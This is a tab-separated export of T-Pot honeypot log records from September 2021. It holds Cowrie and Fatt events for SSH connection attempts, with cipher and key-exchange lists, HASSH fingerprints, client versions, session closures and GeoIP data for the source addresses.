21063	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:38.180436+03	2021-09-20 14:15:03.175613+03	{"_id": "4AbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d2b6638962f4", "@version": "1", "timestamp": "2021-09-20T11:06:38.180436Z", "@timestamp": "2021-09-20T11:06:38.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21064	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.576581+03	2021-09-20 14:15:03.177614+03	{"_id": "4QbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d28c6ad901da", "@version": "1", "timestamp": "2021-09-20T11:06:38.576581Z", "@timestamp": "2021-09-20T11:06:38.576Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21065	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:38.592692+03	2021-09-20 14:15:03.178615+03	{"_id": "4gbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7d2bd67868c0", "@version": "1", "duration": 2.523787021636963, "timestamp": "2021-09-20T11:06:38.592692Z", "@timestamp": "2021-09-20T11:06:38.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21066	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:38.984506+03	2021-09-20 14:15:03.179614+03	{"_id": "4wbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "223.241.247.214", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.28785204887390137, "duplicate": true, "timestamp": "2021-09-20T11:06:38.984506Z", "@timestamp": "2021-09-20T11:06:38.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21067	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:38.987612+03	2021-09-20 14:15:03.181614+03	{"_id": "5AbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 30 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 30.587769985198975, "timestamp": "2021-09-20T11:06:38.987612Z", "@timestamp": "2021-09-20T11:06:38.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21068	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:39.067785+03	2021-09-20 14:15:03.182613+03	{"_id": "5QbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1ffa175fba2f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:39.067785Z", "@timestamp": "2021-09-20T11:06:39.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21354	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:45.126739+03	2021-09-20 14:15:03.556614+03	{"_id": "QwbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aa2dee7db96d", "@version": "1", "duration": 2.4594123363494873, "timestamp": "2021-09-20T11:06:45.126739Z", "@timestamp": "2021-09-20T11:06:45.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21069	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:37.987084+03	2021-09-20 14:15:03.183613+03	{"_id": "-gbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47002, "timestamp": "2021-09-20T11:06:37.987084", "@timestamp": "2021-09-20T11:06:37.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21070	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:37.988877+03	2021-09-20 14:15:03.184613+03	{"_id": "-wbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47002, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.988877", "@timestamp": "2021-09-20T11:06:37.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21071	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:38.177191+03	2021-09-20 14:15:03.186613+03	{"_id": "_AbiAnwBvYTbRNuE7wB0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35120, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.177191", "@timestamp": "2021-09-20T11:06:38.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
